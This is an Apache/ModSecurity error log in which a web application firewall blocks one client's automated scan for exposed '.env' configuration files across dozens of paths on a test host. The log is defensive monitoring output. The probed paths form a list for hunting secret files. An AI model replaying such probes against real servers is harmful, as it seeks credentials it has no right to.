[Thu Feb 26 01:03:15.741103 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNwAAAAA&quot;]
[Thu Feb 26 01:03:15.741247 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/robots/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizNwAAAAA&quot;]
[Thu Feb 26 01:03:15.751953 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcubemail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBwAAAAE&quot;]
[Thu Feb 26 01:03:15.752173 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBwAAAAE&quot;]
[Thu Feb 26 01:03:15.752315 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiBwAAAAE&quot;]
[Thu Feb 26 01:03:15.775367 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /routes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCAAAAAE&quot;]
[Thu Feb 26 01:03:15.775595 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCAAAAAE&quot;]
[Thu Feb 26 01:03:15.775748 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCAAAAAE&quot;]
[Thu Feb 26 01:03:15.798424 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /run/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCQAAAAE&quot;]
[Thu Feb 26 01:03:15.798662 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCQAAAAE&quot;]
[Thu Feb 26 01:03:15.798813 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCQAAAAE&quot;]
[Thu Feb 26 01:03:15.833592 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCgAAAAE&quot;]
[Thu Feb 26 01:03:15.833804 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCgAAAAE&quot;]
[Thu Feb 26 01:03:15.833949 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCgAAAAE&quot;]
[Thu Feb 26 01:03:15.872236 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOQAAAAA&quot;]
[Thu Feb 26 01:03:15.872469 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOQAAAAA&quot;]
[Thu Feb 26 01:03:15.872615 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOQAAAAA&quot;]
[Thu Feb 26 01:03:15.872873 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/dao/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCwAAAAE&quot;]
[Thu Feb 26 01:03:15.873106 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCwAAAAE&quot;]
[Thu Feb 26 01:03:15.873250 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiCwAAAAE&quot;]
[Thu Feb 26 01:03:15.905860 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s-with-me-front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiDAAAAAE&quot;]
[Thu Feb 26 01:03:15.906095 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiDAAAAAE&quot;]
[Thu Feb 26 01:03:15.906241 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiDAAAAAE&quot;]
[Thu Feb 26 01:03:15.909424 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rosterback/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOgAAAAA&quot;]
[Thu Feb 26 01:03:15.909641 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOgAAAAA&quot;]
[Thu Feb 26 01:03:15.909788 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rosterBack/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOgAAAAA&quot;]
[Thu Feb 26 01:03:15.957353 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcube/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOwAAAAA&quot;]
[Thu Feb 26 01:03:15.957928 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOwAAAAA&quot;]
[Thu Feb 26 01:03:15.958096 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcube/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizOwAAAAA&quot;]
[Thu Feb 26 01:03:15.975492 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /saas/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiDgAAAAE&quot;]
[Thu Feb 26 01:03:15.975733 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiDgAAAAE&quot;]
[Thu Feb 26 01:03:15.975892 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLiDgAAAAE&quot;]
[Thu Feb 26 01:03:15.982077 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /roundcubemail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizPAAAAAA&quot;]
